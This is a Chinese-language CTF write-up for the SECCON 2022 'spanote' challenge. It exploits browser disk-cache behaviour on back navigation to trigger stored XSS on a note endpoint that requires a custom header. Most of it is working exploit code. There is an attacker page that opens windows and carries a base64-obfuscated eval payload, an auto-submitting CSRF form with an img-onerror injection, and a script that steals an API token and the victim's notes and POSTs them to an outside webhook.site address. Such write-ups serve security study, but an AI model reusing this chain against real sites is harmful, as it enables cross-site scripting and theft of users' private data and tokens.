看了一天,遇到好多问题,现在都把问题理清楚了
于是有了一份自己的 exp
如下
[SECCON 2022]spanote
利用浏览器缓存
此处存在 xss,虽然是 GET,但是会检查自定义的 header,直接使用浏览器访问是 x 不到的
1 2 3 4 5 6 7 8
| fastify.get("/api/notes/:noteId", async (request, reply) => { const user = new User(request.session.userId); if (request.headers["x-token"] !== hash(user.id)) { throw new Error("Invalid token"); } const noteId = validate(request.params.noteId); return user.sendNote(reply, noteId); });
|
但是搭配剛剛講到的 cache 行為,你可以:
- 用瀏覽器打開
/api/notes/id
,出現錯誤畫面
- 用同一個 tab 去到首頁,此時首頁會用 fetch 搭配 custom header 去抓
/api/notes/id
,瀏覽器會把結果存在 disk cache 內
- 上一頁,此時畫面會顯示 disk cache 的結果
hack.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <body> <script> const main = async () => { const sleep = (msec) => new Promise((resolve) => setTimeout(resolve, msec)); const noteId = "<img src=x onerror=eval(location.hash.slice(1))>.html";
window.open("http://8.134.216.221:1234/2.html"); await sleep(1000); let a; a = open( `http://web:3000/api/notes/${noteId}#eval(atob('ZmV0Y2goImh0dHA6Ly93ZWI6MzAwMC9hcGkvdG9rZW4iKS50aGVuKChyZXNwb25zZSkgPT4KICByZXNwb25zZS5qc29uKCkudGhlbigoZGF0YSkgPT4gewogICAgdG9rZW4gPSBkYXRhLnRva2VuOwogICAgZmV0Y2goImh0dHA6Ly93ZWI6MzAwMC9hcGkvbm90ZXMiLCB7CiAgICAgIGhlYWRlcnM6IHsgIlgtVG9rZW4iOiB0b2tlbiB9LAogICAgfSkudGhlbigocmVzcG9uc2UpID0+CiAgICAgIHJlc3BvbnNlLmpzb24oKS50aGVuKChsaXN0KSA9PiB7CiAgICAgICAgZmV0Y2goYGh0dHA6Ly93ZWI6MzAwMC9hcGkvbm90ZXMvJHtsaXN0WzFdfWAsIHsKICAgICAgICAgIGhlYWRlcnM6IHsgIlgtVG9rZW4iOiB0b2tlbiB9LAogICAgICAgIH0pLnRoZW4oKHJlc3BvbnNlKSA9PgogICAgICAgICAgcmVzcG9uc2UudGV4dCgpLnRoZW4oKHJlc3ApID0+IHsKICAgICAgICAgICAgZmV0Y2goCiAgICAgICAgICAgICAgYGh0dHA6Ly93ZWJob29rLnNpdGUvN2IwOGIwN2ItZTllMi00MTY0LWI4ODktNWNjOWI5MzlhYTE1L2dldGAsCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgICBib2R5OiByZXNwLAogICAgICAgICAgICAgIH0KICAgICAgICAgICAgKTsKICAgICAgICAgIH0pCiAgICAgICAgKTsKICAgICAgfSkKICAgICk7CiAgfSkKKTsK'))` ); await sleep(1000); a.location = `http://web:3000/`; await sleep(1000); a.location = `http://8.134.216.221:1234/back.html?n=2`; }; main(); </script> </body>
|
back.html
1 2 3 4
| <script> const n = parseInt(new URLSearchParams(location.search).get("n")); history.go(-n); </script>
|
2.html
本来使用 fetch 和 xhr 都不会带 cookie,只能 form 去发才可以带上 cookie,逆天
1 2 3 4 5 6 7 8 9 10 11 12
| <form id="wow" action="http://web:3000/api/notes/delete" method="POST"> <input type="text" name="noteId" value="<img src=x onerror=eval(location.hash.slice(1))>.html" /> <input type="submit" /> </form>
<script> wow.submit(); </script>
|
xss 之后执行的代码,用于获取 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| fetch("http://web:3000/api/token").then((response) => response.json().then((data) => { token = data.token; fetch("http://web:3000/api/notes", { headers: { "X-Token": token }, }).then((response) => response.json().then((list) => { fetch(`http://web:3000/api/notes/${list[1]}`, { headers: { "X-Token": token }, }).then((response) => response.text().then((resp) => { fetch( `http://webhook.site/7b08b07b-e9e2-4164-b889-5cc9b939aa15/get`, { method: "POST", body: resp, } ); }) ); }) ); }) );
|